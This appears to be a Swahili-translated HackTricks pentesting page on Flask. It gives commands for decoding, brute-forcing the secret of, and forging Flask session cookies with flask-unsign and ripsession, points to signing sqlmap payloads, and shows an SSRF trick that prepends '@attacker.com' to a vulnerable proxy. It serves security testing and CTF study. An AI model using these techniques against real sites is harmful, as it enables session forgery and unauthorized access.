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91 lines
2.5 KiB
Markdown
91 lines
2.5 KiB
Markdown
# Flask
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{{#include ../../banners/hacktricks-training.md}}
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**Labda ikiwa unacheza CTF, programu ya Flask itahusishwa na** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
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## Cookies
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Jina la kikao cha kuki la default ni **`session`**.
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### Decoder
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Decoder ya kuki za Flask mtandaoni: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Manual
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Pata sehemu ya kwanza ya kuki hadi nukta ya kwanza na uifanye Base64 decode>
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```bash
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echo "ImhlbGxvIg" | base64 -d
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```
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Keki pia imesainiwa kwa kutumia nenosiri
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### **Flask-Unsign**
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Zana ya mstari wa amri ya kupata, kufungua, kujaribu nguvu na kuunda keki za kikao za programu ya Flask kwa kukisia funguo za siri.
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{{#ref}}
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https://pypi.org/project/flask-unsign/
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{{#endref}}
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```bash
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pip3 install flask-unsign
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```
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#### **Fasiri Keki**
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```bash
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flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
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```
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#### **Brute Force**
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```bash
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flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
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```
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#### **Kusaini**
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
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```
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#### Kusaini kwa kutumia toleo la zamani (legacy)
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
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```
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### **RIPsession**
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Zana ya mistari ya amri ya kulazimisha tovuti kwa kutumia vidakuzi vilivyoundwa na flask-unsign.
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{{#ref}}
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https://github.com/Tagvi/ripsession
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{{#endref}}
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```bash
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ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
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```
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### SQLi katika kuki ya kikao cha Flask na SQLmap
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[**Mfano huu**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) unatumia chaguo la sqlmap `eval` ili **kusaini kiotomatiki mzigo wa sqlmap** kwa flask kwa kutumia siri inayojulikana.
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## Proxy ya Flask kwa SSRF
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[**Katika andiko hili**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) inaelezwa jinsi Flask inavyoruhusu ombi lianze na herufi "@":
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```http
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GET @/ HTTP/1.1
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Host: target.com
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Connection: close
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```
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Katika hali ifuatayo:
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```python
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from flask import Flask
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from requests import get
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app = Flask('__main__')
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SITE_NAME = 'https://google.com/'
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@app.route('/', defaults={'path': ''})
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@app.route('/<path:path>')
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def proxy(path):
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return get(f'{SITE_NAME}{path}').content
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app.run(host='0.0.0.0', port=8080)
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```
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Inaweza kuruhusu kuanzisha kitu kama "@attacker.com" ili kusababisha **SSRF**.
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{{#include ../../banners/hacktricks-training.md}}
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